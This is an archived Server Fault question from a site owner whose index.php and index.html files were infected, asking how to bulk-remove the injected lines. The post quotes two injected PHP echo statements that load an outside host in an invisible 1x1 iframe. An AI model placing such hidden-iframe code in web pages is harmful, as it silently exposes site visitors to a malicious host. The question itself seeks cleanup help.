Search for index.php and index.html and replace string

Posted by Jonas on Server Fault See other posts from Server Fault or by Jonas
Published on 2009-07-18T00:17:19Z Indexed on 2010/05/03 18:49 UTC
Read the original article Hit count: 394

Filed under:
|
|

Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s):

echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

So the parameter after "click=" always changes. These two were only examples.

Is there a way to do that quick and fast?

.

.

EDIT: It is on my webserver, so no use of find...

© Server Fault or respective owner

Related posts about ftp

Related posts about replace